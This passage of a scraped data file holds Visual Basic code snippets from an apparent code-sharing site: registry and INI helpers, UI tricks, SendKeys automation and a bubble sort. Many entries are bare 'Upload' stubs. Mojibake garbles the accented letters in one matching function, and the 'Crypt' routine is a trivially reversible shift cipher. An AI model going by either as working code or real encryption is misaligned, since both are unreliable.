\"Subject\";\nmsg.Body = \"Body\";\nmsg.SMTPServerName = \"smtp.server.com\";\nmsg.SMTPUserName = \"username\";\nmsg.SMTPUserPassword = \"password\";\nmsg.Send();\n</PRE>\nAlso, you can send emails using just on line of code:\n<PRE lang=\"cs\">EnhancedMailMessage.QuickSend(\"smtp.server.com\", \n \"to.email@domain.com\", \n \"from.email@domain.com\",\n \"Subject\",\n \"Body\",\n MailFormat.Html);\n</PRE>\n<H2>History\n</H2>\n\n27 Feb 2006 - first draft of the article \n28 Feb 2006 - created a wrapper class for all the code, created properties \n01 Mar 2006 - more comments in the class, performance and coding style improvements\n\n<H2>The conclusion\n</H2>\nComplex things can be done using simple .NET Framework classes. More things \n\tabout email sending in one of the next articles.\n\n"},{"WorldId":1,"id":10469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10428,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8437,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8439,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8939,"LineNumber":1,"line":"On The Fly:\nPrivate Sub RichTextBox1_KeyPress(KeyAscii As Integer)\nSelect Case KeyAscii\n Case 60\n 'open tag\n RichTextBox1.SelLength = 0\n RichTextBox1.SelColor = &H8000000F\n previous = KeyAscii\n \n Case 62\n 'close tag\n RichTextBox1.SelLength = 0\n RichTextBox1.SelText = \">\"\n RichTextBox1.SelColor = &H0&\n previous = KeyAscii\n KeyAscii = 0\n \n Case 33\n 'comments\n If previous = 60 Then\n RichTextBox1.SelStart = RichTextBox1.SelStart - 1\n RichTextBox1.SelLength = 1\n RichTextBox1.SelText = \"\"\n RichTextBox1.SelLength = 0\n RichTextBox1.SelColor = &HC00000\n RichTextBox1.SelText = \"<!\"\n previous = KeyAscii\n KeyAscii = 0\n \n End If\nEnd Select\nEnd Sub\nAutomated:\nSub ChangeColours()\n Dim posEnd As Integer\n i = 0\n For i = 0 To Len(RichTextBox1.Text)\n RichTextBox1.SelStart = i\n RichTextBox1.SelLength = 1\n If RichTextBox1.SelText = \"<\" Then 'start tag\n posStart = i\n End If\n If RichTextBox1.SelText = \">\" Then 'end tag\n posEnd = i\n End If\n If RichTextBox1.SelText = \"!\" Then 'comment\n previousChar = \"!\"\n End If\n \n If posEnd <> 0 Then\n RichTextBox1.SelStart = posStart\n RichTextBox1.SelLength = posEnd - posStart + 1\n If previousChar <> \"!\" Then 'if not comment\n RichTextBox1.SelColor = &H8000000F\n Else:\n RichTextBox1.SelColor = &HC00000\n previousChar = \" \"\n End If\n RichTextBox1.SelStart = posStart + 1\n RichTextBox1.SelLength = 0\n RichTextBox1.SelColor = &H0&\n PosEnd = 0\n posStart = 0\n End If\n Next i\n \nEnd Sub"},{"WorldId":1,"id":9501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8547,"LineNumber":1,"line":"Public Sub AutosizeGridColumns(ByRef msFG As MSFlexGrid, ByVal MaxRowsToParse As Integer, ByVal MaxColWidth As Integer)\nDim I, J As Integer\nDim txtString As String\nDim intTempWidth, BiggestWidth As Integer\nDim intRows As Integer\nConst intPadding = 150\n \nWith msFG\n For I = 0 To .Cols - 1\n ' Loops through every column\n \n .Col = I\n ' Set the active colunm\n \n intRows = .Rows\n ' Set the number of rows\n \n If intRows > MaxRowsToParse Then intRows = MaxRowsToParse\n ' If there are more rows of data, reset\n ' intRows to the MaxRowsToParse constant\n \n intBiggestWidth = 0\n ' Reset some values to 0\n \n For J = 0 To intRows - 1\n ' check up to MaxRowsToParse # of rows and obtain\n ' the greatest width of the cell contents\n \n .Row = J\n \n txtString = .Text\n intTempWidth = TextWidth(txtString) + intPadding\n ' The intPadding constant compensates for text insets\n ' You can adjust this value above as desired.\n \n If intTempWidth > intBiggestWidth Then intBiggestWidth = intTempWidth\n ' Reset intBiggestWidth to the intMaxColWidth value if necessary\n \n Next J\n .ColWidth(I) = intBiggestWidth\n Next I\n ' Now check to see if the columns aren't as wide as the grid itself.\n ' If not, determine the difference and expand each column proportionately\n ' to fill the grid\n intTempWidth = 0\n \n For I = 0 To .Cols - 1\n intTempWidth = intTempWidth + .ColWidth(I)\n ' Add up the width of all the columns\n Next I\n \n If intTempWidth < msFG.Width Then\n ' Compate the width of the columns to the width of the grid control\n ' and if necessary expand the columns.\n \n intTempWidth = Fix((msFG.Width - intTempWidth) / .Cols)\n ' Determine the amount od width expansion needed by each column\n \n For I = 0 To .Cols - 1\n .ColWidth(I) = .ColWidth(I) + intTempWidth\n ' add the necessary width to each column\n \n Next I\n End If\nEnd With\nEnd Sub"},{"WorldId":1,"id":9995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9764,"LineNumber":1,"line":"'Here I have put the whole code (including API\n'declarations) to make pasting it into a module easier\n'To get the OS version:\nType OSVERSIONINFO\n dwOSVersionInfoSize As Long\n dwMajorVersion As Long\n dwMinorVersion As Long\n dwBuildNumber As Long\n dwPlatformId As Long\n szCSDVersion As String * 128 ' Maintenance string for PSS usage\nEnd Type\nPublic Const VER_PLATFORM_WIN32_NT = 2\nPublic Const VER_PLATFORM_WIN32_WINDOWS = 1\nDeclare Function GetVersionEx Lib \"kernel32\" Alias \"GetVersionExA\" (lpVersionInformation As OSVERSIONINFO) As Long\n'To get the color if supported:\nPublic Const COLOR_GRADIENTACTIVECAPTION = 27\nPublic Const COLOR_GRADIENTINACTIVECAPTION = 28\nDeclare Function GetSysColor Lib \"user32\" (ByVal nIndex As Long) As Long\n'To see if it's enabled:\nPublic Const SPI_GETGRADIENTCAPTIONS = &H1008\n'Changed the declaration a bit (removed the ByVal from lpvParam) to pass a pointer to Long:\nDeclare Function SystemParametersInfo Lib \"user32\" Alias \"SystemParametersInfoA\" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long\n'Enumeration for GetGradientColor:\nEnum eGradientColors\n clrGradientActiveCaption = COLOR_GRADIENTACTIVECAPTION\n clrGradientInactiveCaption = COLOR_GRADIENTINACTIVECAPTION\nEnd Enum\n'Gets the system gradient end colors for active and inactive title bars\n'Raises error 5 if gradient title bars are not supported (in your app\n' it might be useful to return a default color instead)\nFunction GetGradientColor(ByVal lClrIdx As eGradientColors) As Long\n 'Are gradient title bars aupported ?:\n If IsWin98Or2000 Then\n 'Supported, call the GetSysColor() API to get the color:\n GetGradientColor = GetSysColor(lClrIdx)\n Else\n 'Not supported, raise an error:\n Err.Raise 5, , \"Gradient Titlebars not supported by this OS version !\"\n \n 'Might be more useful (if you think so):\n \n ''Return a default color:\n 'GetGradientColor = vbCyan\n End If\nEnd Function\n'This function returns True if the gradient effect is enabled/supported\n'Under Win98/2000/higher it calls the SystemParametersInfo() API to check if it's enabled,\n'under Win95/NT 4 it always returns False.\nFunction IsGradientEnabled() As Boolean\n Dim lEnabled As Long\n If IsWin98Or2000 Then\n lEnabled = 0\n 'Call the API to check if it's enabled:\n SystemParametersInfo SPI_GETGRADIENTCAPTIONS, 0, lEnabled, 0\n 'Return the value:\n IsGradientEnabled = CBool(lEnabled)\n Else\n 'Gradient not supported, return False:\n IsGradientEnabled = False\n End If\nEnd Function\n'This function returns True if the OS Version is Win98, 2000 or higher\n' (-> a version which has gradient title bars)\nFunction IsWin98Or2000() As Boolean\n Static bWasInHere As Boolean, bState As Boolean\n 'May it speed up a bit when called often:\n If Not bWasInHere Then\n Dim OSV As OSVERSIONINFO\n OSV.dwOSVersionInfoSize = Len(OSV)\n 'Get the OS version:\n GetVersionEx OSV\n bState = False\n 'Check if platform Win95/98/ME\n If (OSV.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS) Then\n 'dwMinorVersion > 0 And dwMajorVersion =4 -> Win98\n If (OSV.dwMajorVersion > 4) Or ((OSV.dwMajorVersion = 4) And (OSV.dwMinorVersion > 0)) Then\n 'It's Win98 or higher\n bState = True\n Else\n 'It's Win95:\n bState = False\n End If\n 'Check if platform NT/Win2000:\n ElseIf (OSV.dwPlatformId = VER_PLATFORM_WIN32_NT) Then\n If (OSV.dwMajorVersion >= 5) Then\n 'It's Win2000 or higher:\n bState = True\n Else\n 'Is NT4 (or lower):\n bState = False\n End If\n End If\n bWasInHere = True\n End If\n 'Return our result:\n IsWin98Or2000 = bState\nEnd Function"},{"WorldId":1,"id":10312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8075,"LineNumber":1,"line":"Believe it or not, some people don't know about these simple codes. Well, here they are. Also, they are all documented in the VB help file\nif returning the time constantly it is wise to use a timer to do it so you always have the current time or date\ndate commands: \n(date)'returns the current date\nday(date) ' gets the current day\nmonth(date) ' gets the current month\nyear(date) ' gets the current year\ndatediff 'gets the distance between two dates\ntime commands:\nsecond(time) 'returns the current second\nminute(time) 'returns the current minute\nhour(time) 'returns the current hour\n(time) ' returns the current time\n"},{"WorldId":1,"id":8148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7402,"LineNumber":1,"line":"Private Sub Form_Load()\nForm1.WindowState = vbDefault\nTimer1.Enabled = True\nTimer1.Interval = 1\nH.Visible = False\nW.Visible = False\nH.Text = Form1.Height\nW.Text = Form1.Width\n\nEnd Sub\n\nPrivate Sub Timer1_Timer()\nIf Form1.WindowState = vbMaximized Or Form1.WindowState = vbMinimized Then\n Form1.WindowState = vbDefault\n Else\n Form1.Height = H\n Form1.Width = W\nEnd If\nEnd Sub"},{"WorldId":1,"id":9901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6563,"LineNumber":1,"line":"' Paste this code directly into your IDE. This has not yet been tested on VBScript, but should work if you drop the type declarations.\n\nFunction RoundNum(Number As Double) As Integer\nIf Int(Number + 0.5) > Int(Number) Then\n RoundNum = Int(Number) + 1\nElse\n RoundNum = Int(Number)\nEnd If\n\nEnd Function\n"},{"WorldId":1,"id":6727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9858,"LineNumber":1,"line":"Function AccIns(Str As String) As String\n Dim CurLtr As String * 1\n \n For x = 1 To Len(Str)\n CurLtr = Mid(Str, x, 1)\n \n Select Case CurLtr\n Case \"e\", \"├⌐\", \"├¿\", \"├¬\", \"├½\", \"E\", \"├ë\", \"├ê\", \"├è\", \"├ï\"\n AccIns = AccIns & \"[e├⌐├¿├¬├½E├ë├ê├è├ï]\"\n Case \"a\", \"├á\", \"├ó\", \"├ñ\", \"A\", \"├Ç\", \"├é\", \"├ä\"\n AccIns = AccIns & \"[a├á├ó├ñA├Ç├é├ä]\"\n \n Case \"i\", \"├¼\", \"├»\", \"├«\", \"I\", \"├î\", \"├Å\", \"├Ä\"\n AccIns = AccIns & \"[i├»├«├¼I├Å├Ä├î]\"\n \n Case \"o\", \"├┤\", \"├╢\", \"├▓\", \"O\", \"├ö\", \"├û\", \"├Æ\"\n AccIns = AccIns & \"[o├┤├╢├▓O├ö├û├Æ]\"\n Case \"u\", \"├╣\", \"├╗\", \"├╝\", \"U\", \"├Ö\", \"├¢\", \"├£\"\n AccIns = AccIns & \"[u├╗├╝├╣U├¢├£├Ö]\"\n \n Case \"c\", \"├º\", \"C\", \"├ç\"\n AccIns = AccIns & \"[cC├º├ç]\"\n \n Case Else\n AccIns = AccIns & CurLtr\n End Select\n Next\nEnd Function"},{"WorldId":1,"id":6577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6587,"LineNumber":1,"line":"Public m_MstrConfigName As String\nDim m_strKeyname As String\nDim m_strsection As String\nDim m_strKeyValue As String\nDim m_strdefault As String\nPrivate Sub Class_Initialize()\nm_MstrConfigName = App.Path & \"\\ Your Ini file name\"\nEnd Sub\n\nPublic Property Get KeyName() As String\nEnd Property\nPublic Property Let KeyName(ByVal strNewValue As String)\nEnd Property\nPublic Function KeyGet(Optional strSection As String = \"N/A\", Optional strKeyName = \"N/A\", Optional strdefault As String = \"\")\nDim lngRet As Long\n'fill in section\nIf strSection <> \"N/A\" Then\n m_strsection = strSection\nEnd If\nIf strKeyName <> \"N/A\" Then\n m_strKeyname = strKeyName\nEnd If\nm_strdefault = strdefault\n'get value\nm_strKeyValue = Space(255)\nlngRet = GetPrivateProfileString(m_strsection, _\n m_strKeyname, _\n m_strdefault, _\n m_strKeyValue, _\n Len(m_strKeyValue), _\n m_MstrConfigName)\n \nIf lngRet > 0 Then\n m_strKeyValue = Left$(m_strKeyValue, lngRet)\n Else\n m_strKeyValue = vbNullString\nEnd If\n KeyGet = m_strKeyValue\n \nEnd Function\nPublic Sub Keysave(Optional strSection As String = \"N/A\", Optional strKeyName = \"N/A\", Optional strdefault As String = \"\")\nDim lngRet As Long\n'fill in properties\nIf strSection <> \"N/A\" Then\n m_strsection = strSection\nEnd If\nIf strKeyName <> \"N/A\" Then\n m_strKeyname = strKeyName\nEnd If\n\n'get value\nm_strKeyValue = Space(255)\nlngRet = WritePrivateProfileString(m_strsection, _\n m_strKeyname, _\n m_strKeyValue, _\n m_MstrConfigName)\n \nEnd Sub\nPublic Function SectionGet(Optional strSection As String = \"\") As Variant\nDim lngRet As Long\nDim strBuffer As String\nIf Not strSection = vbNullString Then\n m_strsection = strSection\n End If\n \nIf Not m_strsection = vbNullString Then\n strBuffer = Space(2048)\n \n lngRet = GetPrivateProfileSection(m_strsection, _\n strBuffer, _\n Len(strBuffer), _\n m_MstrConfigName)\n End If\nIf lngRet > 0 Then\n strBuffer = Left$(strBuffer, lngRet)\n SectionGet = Split(strBuffer, Chr$(0))\n Else\n SectionGet = Array()\nEnd If\nEnd Function\n"},{"WorldId":1,"id":8198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6630,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6598,"LineNumber":1,"line":"Private Sub text1_OLEDragDrop(Data As DataObject, Effect As Long _\n, Button As Integer, Shift As Integer, X As Single, Y As Single)\n' Prepare a variable (numfiles) and pass the number of files\n' dropped onto text1 to this variable\nDim numFiles As Integer\n numFiles = Data.Files.Count\n' an example how to trap 1 file (can be modified to trap as many\n' or as little amount by changing the > 1 to > {new value}) then\n' display a message box telling user the maximum allowed file drops)\n' then exit the sub\nIf numFiles > 1 Then \n\tMsgBox \"Only allows 1 file at a time in beta version! Sorry!\"_\n\t,vbOKOnly, \"Ooops beta version\"\n\tExit Sub\nend if\n' check the attributes of the file being dropped and see if it is a\n' directory, if it is then warn user that only files are valid to drop\n' and exit the sub\nIf (GetAttr(Data.Files(1))) = vbDirectory Then\n MsgBox \"Sorry this beta version only allows files not directories to be installed\"\n Exit Sub\nEnd If\n' check the file is the correct file type (using its extension)\n' if not then warn user and exit the sub\nIf LCase(Right(Data.Files(1), 3)) <> LCase(\"bsp\") Then\n MsgBox \"This file is not a quake 2 map (*.bsp)\"\n Exit Sub\nEnd If\n' tell user the drag and drop was succesful\nMsgBox Data.Files(1) + \" installed\"\n' code here to install file\n' or do what ever you need\n' data.files(1) is a string holding the path and filename of the dropped file\n' using a for..next loop you can control multiple files dropped at once\n' replacing the 1 with the for..next variable and using numfiles to find out\n' the maximum for..next value\nEnd Sub"},{"WorldId":1,"id":6600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8214,"LineNumber":1,"line":"Function get_filename_only(filepath)\nFor x = Len(filepath) To 1 Step -1\n If Mid(filepath, x, 1) = \"\\\" Then\n get_filename_only = Right(filepath, Len(filepath) - x)\n Exit Function\n End If\nNext x\nget_filename_only = \"Please check filepath it may be incorrect)\"\nEnd Function"},{"WorldId":1,"id":8468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6613,"LineNumber":1,"line":"'\n'\n'PUT THIS IN A .BAS!!!\n'\n'PUT THIS IN A .BAS!!!\n'\n' Easiest Read/Write to Registry\n' Kevin Mackey\n' LimpiBizkit@aol.com\n'\nPublic Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const HKEY_CURRENT_USER = &H80000001\nPublic Const HKEY_LOCAL_MACHINE = &H80000002\nPublic Const HKEY_USERS = &H80000003\nPublic Const HKEY_PERFORMANCE_DATA = &H80000004\nPublic Const ERROR_SUCCESS = 0&\nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long\nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegDeleteKey Lib \"advapi32.dll\" Alias \"RegDeleteKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long\nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long\nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\nPublic Const REG_SZ = 1 ' Unicode nul terminated string\nPublic Const REG_DWORD = 4 ' 32-bit number\nPublic Sub savekey(Hkey As Long, strPath As String)\nDim keyhand&\nr = RegCreateKey(Hkey, strPath, keyhand&)\nr = RegCloseKey(keyhand&)\nEnd Sub\nPublic Function getstring(Hkey As Long, strPath As String, strValue As String)\n'EXAMPLE:\n'\n'text1.text = getstring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\")\n'\nDim keyhand As Long\nDim datatype As Long\nDim lResult As Long\nDim strBuf As String\nDim lDataBufSize As Long\nDim intZeroPos As Integer\nr = RegOpenKey(Hkey, strPath, keyhand)\nlResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)\nIf lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n If intZeroPos > 0 Then\n getstring = Left$(strBuf, intZeroPos - 1)\n Else\n getstring = strBuf\n End If\n End If\nEnd If\nEnd Function\n\nPublic Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)\n'EXAMPLE:\n'\n'Call savestring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\", text1.text)\n'\nDim keyhand As Long\nDim r As Long\nr = RegCreateKey(Hkey, strPath, keyhand)\nr = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\nr = RegCloseKey(keyhand)\nEnd Sub\n\nFunction getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long\n'EXAMPLE:\n'\n'text1.text = getdword(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\")\n'\nDim lResult As Long\nDim lValueType As Long\nDim lBuf As Long\nDim lDataBufSize As Long\nDim r As Long\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\n ' Get length/data type\nlDataBufSize = 4\n \nlResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)\nIf lResult = ERROR_SUCCESS Then\n If lValueType = REG_DWORD Then\n getdword = lBuf\n End If\n'Else\n' Call errlog(\"GetDWORD-\" & strPath, False)\nEnd If\nr = RegCloseKey(keyhand)\n \nEnd Function\nFunction SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)\n'EXAMPLE\"\n'\n'Call SaveDword(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\", text1.text)\n'\n \n Dim lResult As Long\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)\n 'If lResult <> error_success Then Call errlog(\"SetDWORD\", False)\n r = RegCloseKey(keyhand)\nEnd Function\nPublic Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)\n'EXAMPLE:\n'\n'Call DeleteKey(HKEY_CURRENT_USER, \"Software\\VBW\")\n'\nDim r As Long\nr = RegDeleteKey(Hkey, strKey)\nEnd Function\nPublic Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)\n'EXAMPLE:\n'\n'Call DeleteValue(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\")\n'\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\nr = RegDeleteValue(keyhand, strValue)\nr = RegCloseKey(keyhand)\nEnd Function\n\n"},{"WorldId":1,"id":6632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6672,"LineNumber":1,"line":"'There are three programs which:\n'send any keystroke to any application.\n'minimize any window(of any application).\n'maximise any window(of any application).\n'Send Keystroke'\n'~~~~~~~~~~~~~~'\nDim ReturnValue, I\nReturnValue = Shell(\"App. Name\", 1) ' e.g. Shell (\"Calc.exe\",1)\nAppActivate ReturnValue ' Activate the Calculator.\nFor I = 1 To 100 ' Set up counting loop.\n SendKeys I & \"{+}\", True ' Send keystrokes to Calculator\nNext I ' to add each value of I.\nSendKeys \"=\", True ' Get grand total.\nSendKeys \"%{F4}\", True ' Send ALT+F4 to close Calculator.\n'Minimize'\n'~~~~~~~~'\nPrivate Declare Function CloseWindow Lib \"user32\" Alias \"CloseWindow\" _\n(ByVal hwnd As Long) As Long\nShell \"Calc.exe\",1 'This will start calc. Any appl. can be opened \n\t\t 'like this\na = screen.activeform.hwnd 'will return the window handle of calc.\n\t\t\t 'to get handle of own app. don't use shell \n\t\t\t 'command and write the code as it is.\t\nclosewindow(a) 'will minimize calc\n'Maximize'\n'~~~~~~~~'\n'this code assumes that the application is opened but minimized\n'If application is not opened you may use /Shell \"App Nm\"/ to open it\n\nAppactivate \"Title\",True 'Here Title is the one which is shown in the \n\t\t\t 'title bar of the application\n\t\t\t 'Shell command automatically gives title so \n\t\t\t 'in above example to send keystroke we did \n\t\t\t 'not mention title.\nSendKeys \"%( x)\" '% stands for alt and then a blank and x is sent \n\t\t 'to maximize.\n"},{"WorldId":1,"id":6643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10165,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim Text As String, Password As String\nText = \"Hello\"\nPassword = \"Pass\"\nPrint Text\nText = Crypt(Text, Password, True)\nPrint Text\nText = Crypt(Text, Password, False)\nPrint Text\nEnd Sub\nPublic Function Crypt(Source As String, strPassword As String, EnDeCrypt As Boolean) As String\n'EnDeCrypt True = Encrypt\n'EnDeCrypt False = Decrypt\nDim intPassword As Long\nDim intCrypt As Long\nFor x = 1 To Len(strPassword)\n intPassword = intPassword + Asc(Mid$(strPassword, x, 1))\nNext x\nFor x = 1 To Len(Source)\nIf EnDeCrypt = True Then\n intCrypt = Asc(Mid$(Source, x, 1)) + intPassword + x\n \n Do Until intCrypt <= 255\n intCrypt = intCrypt - 255\n Loop\nElse\n intCrypt = Asc(Mid$(Source, x, 1)) - intPassword - x\n \n Do Until intCrypt > 0\n intCrypt = intCrypt + 255\n Loop\nEnd If\nCrypt = Crypt & Chr(intCrypt)\nNext x\nEnd Function\n"},{"WorldId":1,"id":6658,"LineNumber":1,"line":"'┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»\n' Name: Sort_TwoDimensionBubble\n' VB Version: 6.00\n' Called by: Procedures Events\n' ---------- ------\n'\n' Author: Gordon McI. Fuller\n' Copyright: ┬⌐2000 Force 10 Automation\n' Created: Friday, March 17, 2000\n' Modified: [Friday, March 17, 2000]\n' Purpose:\n' Inputs: Param Name Type Meaning\n' ----- ---- ---- -------\n' TempArray Variant\n' Optional iElement Integer\n' Optional iDimension Integer = 1\n' Optional bAscOrder Boolean = True\n' Returns: True/False for success of the sort\n' Global Used:\n' Module used:\n'------------------------------------------------------------\n' Notes: This is a bubble sort\n' For large arrays it may not be the most efficient\n' option, but I haven't found anything in a\n' multi-dimension sort using another algorithm.\n'\n' Sample array array(0,0) = Apples\n' array(0,1) = 5\n' array(0,2) = Tree\n' array(1,0) = Grapes\n' ...\n' Apples 5 Tree\n' Grapes 2 Vine\n' Pears 3 Tree\n' The iDimension is 1 because it am sorting by the \"rows\" of the\n' first dimension rather than the \"columns\" of the 2nd\n' Since we would want to sort by the numeric value,\n' the iElement variable is 1\n' bAscOrder indicates whether the sort order is ascending or descending\n'\n' If the array were structured as\n' array(0,0) = \"Apples\"\n' array(1,0) = 5\n' array(2,0) = Tree\n' ...\n' Apples Grapes Tree\n' 5 2 3\n' Tree Vine Tree\n' iDimension will be 2 since we are sorting on the \"columns\"\n' iElement will still be 1 since we are sorting by that numeric value\n'┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»\nFunction Sort_TwoDimensionBubble(TempArray As Variant, _\n Optional iElement As Integer = 1, _\n Optional iDimension As Integer = 1, _\n Optional bAscOrder As Boolean = True) As Boolean\n Dim arrTemp As Variant\n Dim i%, j%\n Dim NoExchanges As Integer\n On Error GoTo Error_BubbleSort\n ' Loop until no more \"exchanges\" are made.\n If iDimension% = 1 Then\n ReDim arrTemp(1, UBound(TempArray, 2))\n Else\n ReDim arrTemp(UBound(TempArray, 1), 1)\n End If\n \n Do\n NoExchanges = True\n ' Loop through each element in the array.\n If iDimension% = 1 Then\n For i% = LBound(TempArray, iDimension%) To UBound(TempArray, iDimension%) - 1\n \n ' If the element is greater than the element\n ' following it, exchange the two elements.\n If (bAscOrder And (TempArray(i%, iElement%) > TempArray(i% + 1, iElement%))) _\n Or (Not bAscOrder And (TempArray(i%, iElement%) < TempArray(i% + 1, iElement%))) _\n Then\n NoExchanges = False\n For j% = LBound(TempArray, 2) To UBound(TempArray, 2)\n arrTemp(1, j%) = TempArray(i%, j%)\n Next j%\n For j% = LBound(TempArray, 2) To UBound(TempArray, 2)\n TempArray(i%, j%) = TempArray(i% + 1, j%)\n Next j%\n For j% = LBound(TempArray, 2) To UBound(TempArray, 2)\n TempArray(i% + 1, j%) = arrTemp(1, j%)\n Next j%\n End If\n Next i%\n Else\n For i% = LBound(TempArray, iDimension%) To UBound(TempArray, iDimension%) - 1\n \n ' If 